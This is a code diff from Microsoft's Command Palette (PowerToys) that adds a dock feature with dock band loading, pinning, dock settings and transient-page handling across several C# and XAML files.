using System.Collections.ObjectModel;
using System.ComponentModel;
using CommunityToolkit.Mvvm.Messaging;
using Microsoft.CmdPal.UI.ViewModels.Messages;
using Microsoft.CmdPal.UI.ViewModels.Services;
using Microsoft.CmdPal.UI.ViewModels.Settings;
using Microsoft.CommandPalette.Extensions.Toolkit;
@@ -32,6 +34,8 @@ public partial class SettingsViewModel : INotifyPropertyChanged
public AppearanceSettingsViewModel Appearance { get; }
public DockAppearanceSettingsViewModel DockAppearance { get; }
public HotkeySettings? Hotkey
{
get => _settings.Hotkey;
@@ -183,6 +187,58 @@ public partial class SettingsViewModel : INotifyPropertyChanged
}
}
public DockSide Dock_Side
{
get => _settings.DockSettings.Side;
set
{
_settings.DockSettings.Side = value;
Save();
}
}
public DockSize Dock_DockSize
{
get => _settings.DockSettings.DockSize;
set
{
_settings.DockSettings.DockSize = value;
Save();
}
}
public DockBackdrop Dock_Backdrop
{
get => _settings.DockSettings.Backdrop;
set
{
_settings.DockSettings.Backdrop = value;
Save();
}
}
public bool Dock_ShowLabels
{
get => _settings.DockSettings.ShowLabels;
set
{
_settings.DockSettings.ShowLabels = value;
Save();
}
}
public bool EnableDock
{
get => _settings.EnableDock;
set
{
_settings.EnableDock = value;
Save();
WeakReferenceMessenger.Default.Send(new ShowHideDockMessage(value));
WeakReferenceMessenger.Default.Send(new ReloadCommandsMessage()); // TODO! we need to update the MoreCommands of all top level items, but we don't _really_ want to reload
}
}
public ObservableCollection<ProviderSettingsViewModel> CommandProviders { get; } = new();
public ObservableCollection<FallbackSettingsViewModel> FallbackRankings { get; set; } = new();
@@ -195,6 +251,7 @@ public partial class SettingsViewModel : INotifyPropertyChanged
_topLevelCommandManager = topLevelCommandManager;
Appearance = new AppearanceSettingsViewModel(themeService, _settings);
DockAppearance = new DockAppearanceSettingsViewModel(themeService, _settings);
var activeProviders = GetCommandProviders();
var allProviderSettings = _settings.ProviderSettings;

View File

@@ -9,6 +9,7 @@ using CommunityToolkit.Mvvm.Messaging;
using Microsoft.CmdPal.Common;
using Microsoft.CmdPal.UI.ViewModels.Messages;
using Microsoft.CmdPal.UI.ViewModels.Models;
using Microsoft.CmdPal.ViewModels.Messages;
using Microsoft.CommandPalette.Extensions;
namespace Microsoft.CmdPal.UI.ViewModels;
@@ -16,7 +17,8 @@ namespace Microsoft.CmdPal.UI.ViewModels;
public partial class ShellViewModel : ObservableObject,
IDisposable,
IRecipient<PerformCommandMessage>,
IRecipient<HandleCommandResultMessage>
IRecipient<HandleCommandResultMessage>,
IRecipient<WindowHiddenMessage>
{
private readonly IRootPageService _rootPageService;
private readonly IAppHostService _appHostService;
@@ -79,8 +81,9 @@ public partial class ShellViewModel : ObservableObject,
private IPage? _rootPage;
private bool _isNested;
private bool _currentlyTransient;
public bool IsNested => _isNested;
public bool IsNested => _isNested && !_currentlyTransient;
public PageViewModel NullPage { get; private set; }
@@ -101,6 +104,7 @@ public partial class ShellViewModel : ObservableObject,
// Register to receive messages
WeakReferenceMessenger.Default.Register<PerformCommandMessage>(this);
WeakReferenceMessenger.Default.Register<HandleCommandResultMessage>(this);
WeakReferenceMessenger.Default.Register<WindowHiddenMessage>(this);
}
[RelayCommand]
@@ -260,7 +264,7 @@ public partial class ShellViewModel : ObservableObject,
var host = _appHostService.GetHostForCommand(message.Context, CurrentPage.ExtensionHost);
var providerContext = _appHostService.GetProviderContextForCommand(message.Context, CurrentPage.ProviderContext);
_rootPageService.OnPerformCommand(message.Context, !CurrentPage.IsNested, host);
_rootPageService.OnPerformCommand(message.Context, CurrentPage.IsRootPage, host);
try
{
@@ -270,6 +274,7 @@ public partial class ShellViewModel : ObservableObject,
var isMainPage = command == _rootPage;
_isNested = !isMainPage;
_currentlyTransient = message.TransientPage;
// Telemetry: Track extension page navigation for session metrics
if (host is not null)
@@ -289,6 +294,9 @@ public partial class ShellViewModel : ObservableObject,
throw new NotSupportedException();
}
pageViewModel.IsRootPage = isMainPage;
pageViewModel.HasBackButton = IsNested;
// Clear command bar, ViewModel initialization can already set new commands if it wants to
OnUIThread(() => WeakReferenceMessenger.Default.Send<UpdateCommandBarMessage>(new(null)));
@@ -308,7 +316,8 @@ public partial class ShellViewModel : ObservableObject,
_scheduler);
// While we're loading in the background, immediately move to the next page.
WeakReferenceMessenger.Default.Send<NavigateToPageMessage>(new(pageViewModel, message.WithAnimation, navigationToken));
NavigateToPageMessage msg = new(pageViewModel, message.WithAnimation, navigationToken, message.TransientPage);
WeakReferenceMessenger.Default.Send(msg);
// Note: Originally we set our page back in the ViewModel here, but that now happens in response to the Frame navigating triggered from the above
// See RootFrame_Navigated event handler.
@@ -479,6 +488,19 @@ public partial class ShellViewModel : ObservableObject,
UnsafeHandleCommandResult(message.Result.Unsafe);
}
public void Receive(WindowHiddenMessage message)
{
// If the window was hidden while we had a transient page, we need to reset that state.
if (_currentlyTransient)
{
_currentlyTransient = false;
// navigate back to the main page without animation
GoHome(withAnimation: false, focusSearch: false);
WeakReferenceMessenger.Default.Send<PerformCommandMessage>(new(new ExtensionObject<ICommand>(_rootPage)));
}
}
private void OnUIThread(Action action)
{
_ = Task.Factory.StartNew(

View File

@@ -22,7 +22,8 @@ namespace Microsoft.CmdPal.UI.ViewModels;
public partial class TopLevelCommandManager : ObservableObject,
IRecipient<ReloadCommandsMessage>,
IRecipient<PinCommandItemMessage>,
IPageContext,
IRecipient<UnpinCommandItemMessage>,
IRecipient<PinToDockMessage>,
IDisposable
{
private readonly IServiceProvider _serviceProvider;
@@ -32,9 +33,12 @@ public partial class TopLevelCommandManager : ObservableObject,
private readonly List<CommandProviderWrapper> _builtInCommands = [];
private readonly List<CommandProviderWrapper> _extensionCommandProviders = [];
private readonly Lock _commandProvidersLock = new();
private readonly SupersedingAsyncGate _reloadCommandsGate;
TaskScheduler IPageContext.Scheduler => _taskScheduler;
// watch out: if you add code that locks CommandProviders, be sure to always
// lock CommandProviders before locking DockBands, or you will cause a
// deadlock.
private readonly Lock _dockBandsLock = new();
private readonly SupersedingAsyncGate _reloadCommandsGate;
public TopLevelCommandManager(IServiceProvider serviceProvider, ICommandProviderCache commandProviderCache)
{
@@ -43,11 +47,15 @@ public partial class TopLevelCommandManager : ObservableObject,
_taskScheduler = _serviceProvider.GetService<TaskScheduler>()!;
WeakReferenceMessenger.Default.Register<ReloadCommandsMessage>(this);
WeakReferenceMessenger.Default.Register<PinCommandItemMessage>(this);
WeakReferenceMessenger.Default.Register<UnpinCommandItemMessage>(this);
WeakReferenceMessenger.Default.Register<PinToDockMessage>(this);
_reloadCommandsGate = new(ReloadAllCommandsAsyncCore);
}
public ObservableCollection<TopLevelViewModel> TopLevelCommands { get; set; } = [];
public ObservableCollection<TopLevelViewModel> DockBands { get; set; } = [];
[ObservableProperty]
public partial bool IsLoading { get; private set; } = true;
@@ -83,12 +91,26 @@ public partial class TopLevelCommandManager : ObservableObject,
_builtInCommands.Add(wrapper);
}
var commands = await LoadTopLevelCommandsFromProvider(wrapper);
var objects = await LoadTopLevelCommandsFromProvider(wrapper);
lock (TopLevelCommands)
{
foreach (var c in commands)
if (objects.Commands is IEnumerable<TopLevelViewModel> commands)
{
TopLevelCommands.Add(c);
foreach (var c in commands)
{
TopLevelCommands.Add(c);
}
}
}
lock (_dockBandsLock)
{
if (objects.DockBands is IEnumerable<TopLevelViewModel> bands)
{
foreach (var c in bands)
{
DockBands.Add(c);
}
}
}
}
@@ -101,16 +123,15 @@ public partial class TopLevelCommandManager : ObservableObject,
}
// May be called from a background thread
private async Task<IEnumerable<TopLevelViewModel>> LoadTopLevelCommandsFromProvider(CommandProviderWrapper commandProvider)
private async Task<TopLevelObjectSets> LoadTopLevelCommandsFromProvider(CommandProviderWrapper commandProvider)
{
WeakReference<IPageContext> weakSelf = new(this);
await commandProvider.LoadTopLevelCommands(_serviceProvider, weakSelf);
await commandProvider.LoadTopLevelCommands(_serviceProvider);
var commands = await Task.Factory.StartNew(
() =>
{
List<TopLevelViewModel> commands = [];
List<TopLevelViewModel> bands = [];
foreach (var item in commandProvider.TopLevelItems)
{
commands.Add(item);
@@ -124,7 +145,15 @@ public partial class TopLevelCommandManager : ObservableObject,
}
}
return commands;
foreach (var item in commandProvider.DockBandItems)
{
bands.Add(item);
}
var commandsCount = commands.Count;
var bandsCount = bands.Count;
Logger.LogDebug($"{commandProvider.ProviderId}: Loaded {commandsCount} commands, {bandsCount} bands");
return new TopLevelObjectSets(commands, bands);
},
CancellationToken.None,
TaskCreationOptions.None,
@@ -152,8 +181,7 @@ public partial class TopLevelCommandManager : ObservableObject,
/// <returns>an awaitable task</returns>
private async Task UpdateCommandsForProvider(CommandProviderWrapper sender, IItemsChangedEventArgs args)
{
WeakReference<IPageContext> weakSelf = new(this);
await sender.LoadTopLevelCommands(_serviceProvider, weakSelf);
await sender.LoadTopLevelCommands(_serviceProvider);
List<TopLevelViewModel> newItems = [.. sender.TopLevelItems];
foreach (var i in sender.FallbackItems)
@@ -164,6 +192,8 @@ public partial class TopLevelCommandManager : ObservableObject,
}
}
List<TopLevelViewModel> newBands = [.. sender.DockBandItems];
// modify the TopLevelCommands under shared lock; event if we clone it, we don't want
// TopLevelCommands to get modified while we're working on it. Otherwise, we might
// out clone would be stale at the end of this method.
@@ -182,6 +212,16 @@ public partial class TopLevelCommandManager : ObservableObject,
ListHelpers.InPlaceUpdateList(TopLevelCommands, clone);
}
lock (_dockBandsLock)
{
// same idea for DockBands
List<TopLevelViewModel> dockClone = [.. DockBands];
var dockStartIndex = FindIndexForFirstProviderItem(dockClone, sender.ProviderId);
dockClone.RemoveAll(item => item.CommandProviderId == sender.ProviderId);
dockClone.InsertRange(dockStartIndex, newBands);
ListHelpers.InPlaceUpdateList(DockBands, dockClone);
}
return;
static int FindIndexForFirstProviderItem(List<TopLevelViewModel> topLevelItems, string providerId)
@@ -228,6 +268,11 @@ public partial class TopLevelCommandManager : ObservableObject,
TopLevelCommands.Clear();
}
lock (_dockBandsLock)
{
DockBands.Clear();
}
await LoadBuiltinsAsync();
_ = Task.Run(LoadExtensionsAsync);
}
@@ -302,13 +347,31 @@ public partial class TopLevelCommandManager : ObservableObject,
var commandSets = (await Task.WhenAll(loadTasks)).Where(results => results is not null).Select(r => r!).ToList();
lock (TopLevelCommands)
foreach (var providerObjects in commandSets)
{
foreach (var commands in commandSets)
var commandsCount = providerObjects.Commands?.Count() ?? 0;
var bandsCount = providerObjects.DockBands?.Count() ?? 0;
Logger.LogDebug($"(some provider) Loaded {commandsCount} commands and {bandsCount} bands");
lock (TopLevelCommands)
{
foreach (var c in commands)
if (providerObjects.Commands is IEnumerable<TopLevelViewModel> commands)
{
TopLevelCommands.Add(c);
foreach (var c in commands)
{
TopLevelCommands.Add(c);
}
}
}
lock (_dockBandsLock)
{
if (providerObjects.DockBands is IEnumerable<TopLevelViewModel> bands)
{
foreach (var c in bands)
{
DockBands.Add(c);
}
}
}
}
@@ -332,7 +395,9 @@ public partial class TopLevelCommandManager : ObservableObject,
}
}
private async Task<IEnumerable<TopLevelViewModel>?> LoadCommandsWithTimeoutAsync(CommandProviderWrapper wrapper)
private record TopLevelObjectSets(IEnumerable<TopLevelViewModel>? Commands, IEnumerable<TopLevelViewModel>? DockBands);
private async Task<TopLevelObjectSets?> LoadCommandsWithTimeoutAsync(CommandProviderWrapper wrapper)
{
try
{
@@ -358,6 +423,7 @@ public partial class TopLevelCommandManager : ObservableObject,
{
// Then find all the top-level commands that belonged to that extension
List<TopLevelViewModel> commandsToRemove = [];
List<TopLevelViewModel> bandsToRemove = [];
lock (TopLevelCommands)
{
foreach (var extension in extensions)
@@ -370,6 +436,15 @@ public partial class TopLevelCommandManager : ObservableObject,
commandsToRemove.Add(command);
}
}
foreach (var band in DockBands)
{
var host = band.ExtensionHost;
if (host?.Extension == extension)
{
bandsToRemove.Add(band);
}
}
}
}
@@ -389,6 +464,17 @@ public partial class TopLevelCommandManager : ObservableObject,
}
}
}
lock (_dockBandsLock)
{
if (bandsToRemove.Count != 0)
{
foreach (var deleted in bandsToRemove)
{
DockBands.Remove(deleted);
}
}
}
},
CancellationToken.None,
TaskCreationOptions.None,
@@ -412,6 +498,22 @@ public partial class TopLevelCommandManager : ObservableObject,
return null;
}
public TopLevelViewModel? LookupDockBand(string id)
{
lock (_dockBandsLock)
{
foreach (var command in DockBands)
{
if (command.Id == id)
{
return command;
}
}
}
return null;
}
public void Receive(ReloadCommandsMessage message) =>
ReloadAllCommandsAsync().ConfigureAwait(false);
@@ -421,7 +523,28 @@ public partial class TopLevelCommandManager : ObservableObject,
wrapper?.PinCommand(message.CommandId, _serviceProvider);
}
private CommandProviderWrapper? LookupProvider(string providerId)
public void Receive(UnpinCommandItemMessage message)
{
var wrapper = LookupProvider(message.ProviderId);
wrapper?.UnpinCommand(message.CommandId, _serviceProvider);
}
public void Receive(PinToDockMessage message)
{
if (LookupProvider(message.ProviderId) is CommandProviderWrapper wrapper)
{
if (message.Pin)
{
wrapper?.PinDockBand(message.CommandId, _serviceProvider);
}
else
{
wrapper?.UnpinDockBand(message.CommandId, _serviceProvider);
}
}
}
public CommandProviderWrapper? LookupProvider(string providerId)
{
lock (_commandProvidersLock)
{
@@ -430,12 +553,6 @@ public partial class TopLevelCommandManager : ObservableObject,
}
}
void IPageContext.ShowException(Exception ex, string? extensionHint)
{
var message = DiagnosticsHelper.BuildExceptionMessage(ex, extensionHint ?? "TopLevelCommandManager");
CommandPaletteHost.Instance.Log(message);
}
internal bool IsProviderActive(string id)
{
lock (_commandProvidersLock)
@@ -445,6 +562,53 @@ public partial class TopLevelCommandManager : ObservableObject,
}
}
internal void PinDockBand(TopLevelViewModel bandVm)
{
lock (_dockBandsLock)
{
foreach (var existing in DockBands)
{
if (existing.Id == bandVm.Id)
{
// already pinned
Logger.LogDebug($"Dock band '{bandVm.Id}' is already pinned.");
return;
}
}
Logger.LogDebug($"Attempting to pin dock band '{bandVm.Id}' from provider '{bandVm.CommandProviderId}'.");
var providerId = bandVm.CommandProviderId;
var foundProvider = false;
// WATCH OUT: This locks CommandProviders. If you add code that
// locks CommandProviders first, before locking DockBands, you will
// cause a deadlock.
foreach (var provider in CommandProviders)
{
if (provider.Id == providerId)
{
Logger.LogDebug($"Found provider '{providerId}' to pin dock band '{bandVm.Id}'.");
provider.PinDockBand(bandVm);
foundProvider = true;
break;
}
}
if (!foundProvider)
{
Logger.LogWarning($"Could not find provider '{providerId}' to pin dock band '{bandVm.Id}'.");
}
else
{
// Add the band to DockBands if not already present
if (!DockBands.Any(b => b.Id == bandVm.Id))
{
DockBands.Add(bandVm);
}
}
}
}
public void Dispose()
{
_reloadCommandsGate.Dispose();

View File

@@ -0,0 +1,36 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CmdPal.Common.Helpers;
namespace Microsoft.CmdPal.UI.ViewModels;
/// <summary>
/// Used as the PageContext for top-level items. Top level items are displayed
/// on the MainListPage, which _we_ own. We need to have a placeholder page
/// context for each provider that still connects those top-level items to the
/// CommandProvider they came from.
/// </summary>
public partial class TopLevelItemPageContext : IPageContext
{
public TaskScheduler Scheduler { get; private set; }
public ICommandProviderContext ProviderContext { get; private set; }
TaskScheduler IPageContext.Scheduler => Scheduler;
ICommandProviderContext IPageContext.ProviderContext => ProviderContext;
internal TopLevelItemPageContext(CommandProviderWrapper provider, TaskScheduler scheduler)
{
ProviderContext = provider.GetProviderContext();
Scheduler = scheduler;
}
public void ShowException(Exception ex, string? extensionHint = null)
{
var message = DiagnosticsHelper.BuildExceptionMessage(ex, extensionHint ?? $"TopLevelItemPageContext({ProviderContext.ProviderId})");
CommandPaletteHost.Instance.Log(message);
}
}

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
@@ -25,8 +25,9 @@ public sealed partial class TopLevelViewModel : ObservableObject, IListItem, IEx
private readonly ProviderSettings _providerSettings;
private readonly IServiceProvider _serviceProvider;
private readonly CommandItemViewModel _commandItemViewModel;
private readonly IContextMenuFactory _contextMenuFactory;
public CommandProviderContext ProviderContext { get; private set; }
public ICommandProviderContext ProviderContext { get; private set; }
private string IdFromModel => IsFallback && !string.IsNullOrWhiteSpace(_fallbackId) ? _fallbackId : _commandItemViewModel.Command.Id;
@@ -52,39 +53,28 @@ public sealed partial class TopLevelViewModel : ObservableObject, IListItem, IEx
public CommandPaletteHost ExtensionHost { get; private set; }
public string ExtensionName => ExtensionHost.GetExtensionDisplayName() ?? string.Empty;
public CommandViewModel CommandViewModel => _commandItemViewModel.Command;
public CommandItemViewModel ItemViewModel => _commandItemViewModel;
public string CommandProviderId => ProviderContext.ProviderId;
public IconInfoViewModel IconViewModel => _commandItemViewModel.Icon;
////// ICommandItem
public string Title => _commandItemViewModel.Title;
public string Subtitle => _commandItemViewModel.Subtitle;
public IIconInfo Icon => _commandItemViewModel.Icon;
public IIconInfo Icon => (IIconInfo)IconViewModel;
public IIconInfo InitialIcon => _initialIcon ?? _commandItemViewModel.Icon;
ICommand? ICommandItem.Command => _commandItemViewModel.Command.Model.Unsafe;
IContextItem?[] ICommandItem.MoreCommands => _commandItemViewModel.MoreCommands
.Select(item =>
{
if (item is ISeparatorContextItem)
{
return item as IContextItem;
}
else if (item is CommandContextItemViewModel commandItem)
{
return commandItem.Model.Unsafe;
}
else
{
return null;
}
}).ToArray();
IContextItem?[] ICommandItem.MoreCommands => BuildContextMenu();
////// IListItem
ITag[] IListItem.Tags => Tags.ToArray();
@@ -183,17 +173,46 @@ public sealed partial class TopLevelViewModel : ObservableObject, IListItem, IEx
}
}
public string ExtensionName => ExtensionHost.GetExtensionDisplayName() ?? string.Empty;
// Dock properties
public bool IsDockBand { get; private set; }
public DockBandSettings? DockBandSettings
{
get
{
if (!IsDockBand)
{
return null;
}
var bandSettings = _settings.DockSettings.StartBands
.Concat(_settings.DockSettings.CenterBands)
.Concat(_settings.DockSettings.EndBands)
.FirstOrDefault(band => band.CommandId == this.Id);
if (bandSettings is null)
{
return new DockBandSettings()
{
ProviderId = this.CommandProviderId,
CommandId = this.Id,
ShowLabels = true,
};
}
return bandSettings;
}
}
public TopLevelViewModel(
CommandItemViewModel item,
bool isFallback,
TopLevelType topLevelType,
CommandPaletteHost extensionHost,
CommandProviderContext commandProviderContext,
ICommandProviderContext commandProviderContext,
SettingsModel settings,
ProviderSettings providerSettings,
IServiceProvider serviceProvider,
ICommandItem? commandItem)
ICommandItem? commandItem,
IContextMenuFactory? contextMenuFactory)
{
_serviceProvider = serviceProvider;
_settings = settings;
@@ -201,22 +220,26 @@ public sealed partial class TopLevelViewModel : ObservableObject, IListItem, IEx
ProviderContext = commandProviderContext;
_commandItemViewModel = item;
IsFallback = isFallback;
_contextMenuFactory = contextMenuFactory ?? DefaultContextMenuFactory.Instance;
IsFallback = topLevelType == TopLevelType.Fallback;
IsDockBand = topLevelType == TopLevelType.DockBand;
ExtensionHost = extensionHost;
if (isFallback && commandItem is FallbackCommandItem fallback)
if (IsFallback && commandItem is FallbackCommandItem fallback)
{
_fallbackId = fallback.Id;
}
item.PropertyChangedBackground += Item_PropertyChanged;
// UpdateAlias();
// UpdateHotkey();
// UpdateTags();
}
internal void InitializeProperties()
{
// Init first, so that we get the ID & titles,
// then generate the ID,
// then slow init for the context menu
ItemViewModel.InitializeProperties();
GenerateId();
ItemViewModel.SlowInitializeProperties();
if (IsFallback)
@@ -278,7 +301,7 @@ public sealed partial class TopLevelViewModel : ObservableObject, IListItem, IEx
return;
}
_initialIcon = _commandItemViewModel.Icon;
_initialIcon = (IIconInfo?)_commandItemViewModel.Icon;
if (raiseNotification)
{
@@ -452,4 +475,43 @@ public sealed partial class TopLevelViewModel : ObservableObject, IListItem, IEx
{
return ToString();
}
/// <summary>
/// Helper to convert our context menu viewmodels back into the API
/// interfaces that ICommandItem expects.
/// </summary>
private IContextItem?[] BuildContextMenu()
{
List<IContextItem?> contextItems = new();
foreach (var item in _commandItemViewModel.MoreCommands)
{
if (item is ISeparatorContextItem)
{
contextItems.Add(item as IContextItem);
}
else if (item is CommandContextItemViewModel commandItem)
{
contextItems.Add(commandItem.Model.Unsafe);
}
}
_contextMenuFactory.AddMoreCommandsToTopLevel(this, this.ProviderContext, contextItems);
return contextItems.ToArray();
}
internal ICommandItem ToPinnedDockBandItem()
{
var item = new PinnedDockItem(item: this, id: Id);
return item;
}
}
public enum TopLevelType
{
Normal,
Fallback,
DockBand,
}

View File

@@ -4,6 +4,7 @@
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:controls="using:Microsoft.CmdPal.UI.Controls"
xmlns:converters="using:CommunityToolkit.WinUI.Converters"
xmlns:local="using:Microsoft.CmdPal.UI"
xmlns:ptcontrols="using:Microsoft.PowerToys.Common.UI.Controls"
xmlns:services="using:Microsoft.CmdPal.UI.Services">
@@ -12,7 +13,7 @@
<ResourceDictionary.MergedDictionaries>
<XamlControlsResources xmlns="using:Microsoft.UI.Xaml.Controls" />
<!-- Other merged dictionaries here -->
<ResourceDictionary Source="ms-appx:///Styles/Colors.xaml" />
<ResourceDictionary Source="ms-appx:///Styles/TeachingTip.xaml" />
<ResourceDictionary Source="ms-appx:///Styles/TextBlock.xaml" />
<ResourceDictionary Source="ms-appx:///Styles/TextBox.xaml" />
<ResourceDictionary Source="ms-appx:///Styles/Settings.xaml" />
@@ -21,6 +22,7 @@
<ResourceDictionary Source="ms-appx:///PowerToys.Common.UI.Controls/Controls/KeyVisual/KeyCharPresenter.xaml" />
<ResourceDictionary Source="ms-appx:///PowerToys.Common.UI.Controls/Controls/ShortcutWithTextLabelControl/ShortcutWithTextLabelControl.xaml" />
<ResourceDictionary Source="ms-appx:///PowerToys.Common.UI.Controls/Controls/IsEnabledTextBlock/IsEnabledTextBlock.xaml" />
<ResourceDictionary Source="ms-appx:///Dock/DockItemControl.xaml" />
<!-- Default theme dictionary -->
<ResourceDictionary Source="ms-appx:///Styles/Theme.Normal.xaml" />
<services:MutableOverridesDictionary />
@@ -29,6 +31,12 @@
<x:Double x:Key="SettingActionControlMinWidth">240</x:Double>
<Style BasedOn="{StaticResource DefaultCheckBoxStyle}" TargetType="ptcontrols:CheckBoxWithDescriptionControl" />
<converters:StringVisibilityConverter
x:Key="StringNotEmptyToVisibilityConverter"
EmptyValue="Collapsed"
NotEmptyValue="Visible" />
</ResourceDictionary>
</Application.Resources>
</Application>

View File

@@ -28,6 +28,7 @@ using Microsoft.CmdPal.UI.Helpers;
using Microsoft.CmdPal.UI.Services;
using Microsoft.CmdPal.UI.ViewModels;
using Microsoft.CmdPal.UI.ViewModels.BuiltinCommands;
using Microsoft.CmdPal.UI.ViewModels.Dock;
using Microsoft.CmdPal.UI.ViewModels.Models;
using Microsoft.CmdPal.UI.ViewModels.Services;
using Microsoft.CommandPalette.Extensions;
@@ -220,6 +221,7 @@ public partial class App : Application, IDisposable
// ViewModels
services.AddSingleton<ShellViewModel>();
services.AddSingleton<DockViewModel>();
services.AddSingleton<IContextMenuFactory, CommandPaletteContextMenuFactory>();
services.AddSingleton<IPageViewModelFactoryService, CommandPalettePageViewModelFactory>();
}

Some files were not shown because too many files have changed in this diff Show More